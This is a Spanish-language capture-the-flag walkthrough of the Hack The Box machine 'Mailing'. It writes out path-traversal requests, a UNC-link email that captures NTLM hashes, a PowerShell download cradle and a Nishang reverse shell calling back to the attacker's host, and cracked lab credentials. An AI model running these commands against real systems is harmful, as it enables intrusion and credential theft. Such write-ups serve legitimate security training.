# Mailing

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-07f61e07f9af6c15ba3bbe38ed3a541dbcb8941a%2F21.png?alt=media)

**Publicado:** 18 de Junio de 2025\
**Autor:** José Miguel Romero aKa **x3m1Sec**\
**Dificultad:** ⭐ Easy

### 📝 Descripción

Mailing es una máquina Windows de dificultad Easy que simula un entorno corporativo con servicios de correo electrónico. La explotación inicial involucra el descubrimiento de una vulnerabilidad de **Local File Inclusion (LFI)** en una aplicación web que permite acceder a archivos de configuración sensibles del servidor hMailServer. A través de este vector, obtenemos credenciales del administrador que nos permiten explotar **CVE-2024-21413**, una vulnerabilidad de autenticación NTLM en hMailServer para capturar hashes NTLMv2.

Para la escalada de privilegios, aprovechamos **CVE-2023-2255**, una vulnerabilidad de control de acceso inadecuado en LibreOffice que permite la ejecución remota de código a través de documentos maliciosos con marcos flotantes incrustados.

**Técnicas utilizadas:**

* 🔍 Reconocimiento y enumeración de servicios
* 📁 Local File Inclusion (LFI) / Path Traversal
* 🔐 Cracking de hashes MD5 y NTLMv2
* 📧 Explotación de servicios SMTP
* 🎯 NTLM Relay Attack (CVE-2024-21413)
* 📄 Explotación de LibreOffice (CVE-2023-2255)

#### 🔗 Cadena de explotación

1. **🔍 Reconocimiento:** Identificación de servicios y aplicación web
2. **📁 LFI/Path Traversal:** Extracción del archivo de configuración de hMailServer
3. **🔐 Cracking:** Recuperación de credenciales del administrador
4. **📧 CVE-2024-21413:** Captura de hash NTLMv2 mediante SMTP malicioso
5. **🚪 Acceso inicial:** Shell como usuario maya
6. **📄 CVE-2023-2255:** Escalada mediante documento LibreOffice malicioso
7. **👑 Administrador:** Shell como localadmin

***

### 🔭 Reconocimiento

#### 🏓 Ping para verificación en base a TTL

```bash
❯ ping -c2 10.10.11.14     
PING 10.10.11.14 (10.10.11.14) 56(84) bytes of data.
64 bytes from 10.10.11.14: icmp_seq=1 ttl=127 time=41.7 ms
64 bytes from 10.10.11.14: icmp_seq=2 ttl=127 time=45.4 ms

--- 10.10.11.14 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1004ms
rtt min/avg/max/mdev = 41.651/43.546/45.441/1.895 ms
```

> 💡 **Nota**: El TTL cercano a 128 sugiere que probablemente sea una máquina Windows.

#### 🔍 Escaneo de puertos TCP

```bash
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.14 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
```

```bash
❯ echo $ports
25,80,110,135,139,143,445,465,587,993,5040,5985,7680,47001,49664,49665,49666,49667,49668,52919
```

#### 🛠️ Enumeración de servicios

```bash
❯ nmap -sC -sV -p$ports 10.10.11.14 -oN services.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-18 15:34 CEST
Stats: 0:03:02 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.96% done; ETC: 15:37 (0:00:00 remaining)
Nmap scan report for 10.10.11.14
Host is up (0.044s latency).

PORT      STATE SERVICE       VERSION
25/tcp    open  smtp          hMailServer smtpd
| smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to http://mailing.htb
110/tcp   open  pop3          hMailServer pop3d
|_pop3-capabilities: TOP UIDL USER
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
143/tcp   open  imap          hMailServer imapd
|_imap-capabilities: CAPABILITY IDLE ACL completed SORT OK CHILDREN NAMESPACE RIGHTS=texkA0001 QUOTA IMAP4rev1 IMAP4
445/tcp   open  microsoft-ds?
465/tcp   open  ssl/smtp      hMailServer smtpd
| smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Not valid before: 2024-02-27T18:24:10
|_Not valid after:  2029-10-06T18:24:10
|_ssl-date: TLS randomness does not represent time
587/tcp   open  smtp          hMailServer smtpd
| smtp-commands: mailing.htb, SIZE 20480000, STARTTLS, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Not valid before: 2024-02-27T18:24:10
|_Not valid after:  2029-10-06T18:24:10
993/tcp   open  ssl/imap      hMailServer imapd
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Not valid before: 2024-02-27T18:24:10
|_Not valid after:  2029-10-06T18:24:10
|_imap-capabilities: CAPABILITY IDLE ACL completed SORT OK CHILDREN NAMESPACE RIGHTS=texkA0001 QUOTA IMAP4rev1 IMAP4
5040/tcp  open  unknown
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
7680/tcp  open  pando-pub?
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
52919/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: mailing.htb; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-06-18T13:36:50
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
```

#### 🗂️ Resumen de servicios identificados

| Puerto      | Servicio  | Descripción                       |
| ----------- | --------- | --------------------------------- |
| 25,465,587  | SMTP      | hMailServer - Servicios de correo |
| 80          | HTTP      | Microsoft IIS 10.0                |
| 110,143,993 | POP3/IMAP | Servicios de correo               |
| 445         | SMB       | Servicios de archivos compartidos |
| 5985        | WinRM     | Administración remota de Windows  |

⚠️ **Configuración de host virtual**

```bash
echo "10.10.11.14 mailing.htb" | sudo tee -a /etc/hosts
```

***

### 🌐 Enumeración Web

#### 🌍 Puerto 80 - HTTP

Revisamos el servicio web y encontramos información sobre lo que parece ser un servicio de correo llamado hMailServer:

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-91febb0f9e2d9817a3c2dc6b808148809547355b%2F3.png?alt=media)

Hay un enlace en el que hay un document pdf con unas instrucciones para su descarga, aunque no encontramos nada de utilidad en ellas inicialmente:

**URL de interés:** <http://mailing.htb/index.php/login>

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-6f12841f5e947fe6084f6be87be4df427f0ca5be%2F2.png?alt=media)

#### 🔍 Fuzzing de directorios

Tras probar a realizar fuzzing de directorios con dirsearch encontramos un recurso interesante:

```bash
dirsearch -u http://mailing.htb -x 503,404,403,400

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12289

Target: http://mailing.htb/

[15:42:15] Scanning: 
[15:42:30] 200 -   541B - /assets/
[15:42:30] 301 -   160B - /assets  ->  http://mailing.htb/assets/
[15:42:36] 400 -    4KB - /docpicker/internal_proxy/https/127.0.0.1:9043/ibm/console
[15:42:38] 200 -    31B - /download.php
[15:42:39] 200 -    5KB - /index.php
[15:42:39] 200 -    5KB - /index.pHp
[15:42:39] 200 -    5KB - /index.php/login/

Task Completed
```

#### 🎯 Análisis del endpoint download.php

**URL:** <http://mailing.htb/download.php>

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-df3dba9c3e474742f738808e40c3890aa3c5e30c%2F4.png?alt=media)

Al acceder recibimos una respuesta que indica que espera parámetros. Analizamos con Burp Suite:

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-ba5f7feacdb491eb4137e9a17d406d3b7d3cd025%2F5.png?alt=media)

#### 🔎 Fuzzing de parámetros

Utilizamos ffuf para descubrir parámetros válidos:

```bash
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://mailing.htb/download.php?FUZZ=key -fs 31
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-c9e8a04cde484e7f620994813b4a58db1c323c87%2F6.png?alt=media)

✅ **Parámetro descubierto:** `file`

#### 🔓 Explotación de LFI/Path Traversal

Verificamos que podemos descargar el archivo instructions.pdf legítimo:

```bash
curl -s -X GET 'http://mailing.htb/download.php?file=instructions.pdf' -o instructions.pdf
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-a8c5ae2df2a9565008c3ddcdd1848f33dac0fc98%2F7.png?alt=media)

#### 🎯 Extracción de archivos de configuración

Probamos el Path Traversal con archivos del sistema:

```bash
curl -s -X GET 'http://mailing.htb/download.php?file=/../../../../Windows\System32\drivers\etc\hosts'   
```

#### 📧 Archivo de configuración de hMailServer

Conociendo la estructura típica de hMailServer, intentamos acceder a su archivo de configuración:

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-31bcde772bde173e1f804e731f379dc28928de0c%2F8.png?alt=media)

```bash
curl -s -X GET 'http://mailing.htb/download.php?file=/../../../../../../../Program+Files+(x86)/hmailserver/Bin/hmailserver.ini'
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-d3b4595345db3175c7fb5c6fb3e3994ff9994967%2F10.png?alt=media)

#### 🔐 Extracción de credenciales

**Hash MD5 encontrado:**

```
AdministratorPassword=841bb5acfa6779ae432fd7a4e6600ba7
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-b2c358ef01b2f09f9757e0744012b3ed1c6da0f0%2F11.png?alt=media)

#### 💥 Cracking del hash

```bash
hashcat -m 0 -a 0 841bb5acfa6779ae432fd7a4e6600ba7 /usr/share/wordlists/rockyou.txt   
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-8e3c21ecca336a752419f28f5e6b0e18b50ef760%2F12.png?alt=media)

✅ **Credenciales obtenidas:** `administrator:homenetworkingadministrator`

***

### 📧 Explotación del Servicio SMTP

#### 🔌 Conexión y autenticación

Probamos las credenciales contra varios servicios sin éxito inicial. Procedemos a autenticarnos en SMTP:

```bash
telnet 10.10.11.14 25
Trying 10.10.11.14...
Connected to 10.10.11.14.
Escape character is '^]'.
220 mailing.htb ESMTP
HELO mailing.htb
250 Hello.
```

#### 🔒 Codificación de credenciales

Para la autenticación SMTP necesitamos codificar las credenciales en base64:

```bash
echo -n "administrator@mailing.htb" | base64
YWRtaW5pc3RyYXRvckBtYWlsaW5nLmh0Yg==

echo -n "homenetworkingadministrator" | base64
aG9tZW5ldHdvcmtpbmdhZG1pbmlzdHJhdG9y
```

#### ✅ Autenticación exitosa

```bash
AUTH LOGIN
334 VXNlcm5hbWU6
YWRtaW5pc3RyYXRvckBtYWlsaW5nLmh0Yg==
334 UGFzc3dvcmQ6
aG9tZW5ldHdvcmtpbmdhZG1pbmlzdHJhdG9y
235 authenticated.
```

***

### 🎯 Explotación CVE-2024-21413

#### 🔍 Investigación del CVE

**CVE-2024-21413** es una vulnerabilidad en hMailServer que permite capturar hashes NTLMv2 mediante el envío de correos maliciosos con enlaces UNC.

**Referencias:**

* <https://github.com/CMNatic/CVE-2024-21413>
* <https://github.com/ThemeHackers/CVE-2024-21413>

#### 👤 Identificación del objetivo

Según el documento instructions.pdf, el usuario **Maya** es responsable de revisar los correos:

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-7b40f232d631b0a365b4c0782bc82c1f877739e5%2F14.png?alt=media)

#### 🛠️ Preparación del exploit

**Paso 1:** Descargamos el exploit

```bash
wget https://raw.githubusercontent.com/CMNatic/CVE-2024-21413/refs/heads/main/exploit.py
```

**Paso 2:** Configuramos el exploit con nuestros datos:

```python
sender_email = 'administrator@mailing.htb'
receiver_email = 'maya@mailing.htb'
# HTML content con enlace UNC malicioso apuntando a nuestro servidor SMB
html_content = """\
<!DOCTYPE html>
<html lang="en">
    <p><a href="file://10.10.14.7/test!exploit">Click me</a></p>
</html>"""
```

**Paso 3:** Iniciamos servidor SMB para capturar el hash:

```bash
impacket-smbserver test $(pwd) -smb2support
```

**Paso 4:** Ejecutamos el exploit:

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-5069acc4a29722d61cf664cb91e68760109ff9bd%2F15.png?alt=media)

#### 🎯 Captura del hash NTLMv2

**Paso 5:** Recibimos el hash de Maya:

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-e68592972b67155330d7d45440a26be42bd66dd7%2F16.png?alt=media)

#### 🔓 Cracking del hash NTLMv2

```bash
hashcat -m 5600 -a 0 maya_hash /usr/share/wordlists/rockyou.txt 
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-436a4a23def8ba8eb7609038f03785855489ee2a%2F17.png?alt=media)

✅ **Credenciales obtenidas:** `maya:m4y4ngs4ri`

***

### 🚪 Acceso Inicial

#### 🔑 Verificación de acceso WinRM

```bash
netexec winrm 10.10.11.14 -u maya -p 'm4y4ngs4ri'               
WINRM       10.10.11.14     5985   MAILING          [*] Windows 10 / Server 2019 Build 19041 (name:MAILING) (domain:MAILING)
WINRM       10.10.11.14     5985   MAILING          [+] MAILING\maya:m4y4ngs4ri (Pwn3d!)
```

#### 🎉 Shell como usuario Maya

```bash
evil-winrm -i 10.10.11.14 -u maya -p 'm4y4ngs4ri'                      
                                        
Evil-WinRM shell v3.7
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\maya\Documents> whoami
mailing\maya
```

#### 🏁 Primera flag

```bash
*Evil-WinRM* PS C:\Users\maya\Desktop> type user.txt
[FLAG_CONTENT]
```

***

### 🔝 Escalada de Privilegios

#### 🕵️ Enumeración del sistema

Durante la enumeración encontramos un directorio interesante:

```bash
*Evil-WinRM* PS C:\> dir

Directory: C:\

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
...
d-----        2024-02-27   4:29 PM                Important Documents
...
```

#### 🤔 Comportamiento sospechoso

Al crear archivos en "Important Documents", estos se eliminan automáticamente tras unos segundos:

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-20e5ec387f994d4043e9d5d026f6aaa1ad64175f%2F20.png?alt=media)

> 💡 **Observación**: Esto sugiere que alguien (posiblemente un usuario administrativo) está monitoreando y procesando archivos en este directorio.

#### 📊 Enumeración de software instalado

Ejecutamos un script PowerShell para listar el software instalado:

```powershell
$registryPaths = @(
    "HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*",
    "HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*",
    "HKCU:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"
)

$softwareList = foreach ($path in $registryPaths) {
    Get-ItemProperty $path -ErrorAction SilentlyContinue |
        Where-Object { $_.DisplayName -and $_.DisplayVersion } |
        Select-Object DisplayName, DisplayVersion
}

$softwareList | Sort-Object DisplayName | Format-Table -AutoSize
```

#### 🎯 Software vulnerable identificado

**LibreOffice 7.4.0.1** - Vulnerable a **CVE-2023-2255**

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-e9ff36eb176143b111a9e94bfbb88f9a93edc866%2F19.png?alt=media)

#### 🔓 CVE-2023-2255 - LibreOffice RCE

**Descripción:** Vulnerabilidad de control de acceso inadecuado en LibreOffice relacionada con "floating frames" (marcos flotantes) en documentos.

**Exploit público:** <https://github.com/elweth-sec/CVE-2023-2255>

#### 🛠️ Preparación del payload

**Paso 1:** Creamos comando PowerShell para descarga remota:

```powershell
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/shell.ps1')
```

**Paso 2:** Codificamos en base64 (UTF-16LE):

```bash
cat payload | iconv -t utf-16le | base64 -w 0; echo
SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADcALwBzAGgAZQBsAGwALgBwAHMAMQAnACkACgA=
```

**Paso 3:** Preparamos reverse shell (Nishang):

```bash
wget https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1
mv Invoke-PowerShellTcp.ps1 shell.ps1
```

Añadimos al final del script:

```powershell
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.7 -Port 443
```

#### 🚀 Ejecución del exploit

**Paso 4:** Iniciamos servicios:

```bash
# Servidor web para shell.ps1
python3 -m http.server 80

# Listener para reverse shell
rlwrap nc -nlvp 443
```

**Paso 5:** Generamos documento malicioso:

```bash
python3 CVE-2023-2255.py --cmd 'cmd /c powershell -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADcALwBzAGgAZQBsAGwALgBwAHMAMQAnACkACgA=' --output 'exploit.odt'
```

**Paso 6:** Subimos el documento malicioso:

```powershell
*Evil-WinRM* PS C:\Important Documents> upload exploit.odt
Info: Upload successful!
```

#### 🎉 Shell como Administrador

Una vez que el usuario abre el archivo malicioso:

```bash
rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.14] 60643
Windows PowerShell running as user localadmin on MAILING

PS C:\Program Files\LibreOffice\program>whoami
mailing\localadmin
```

#### 🏆 Flag de root

```powershell
PS C:\Users\localadmin\Desktop> type root.txt
[FLAG_CONTENT]
```
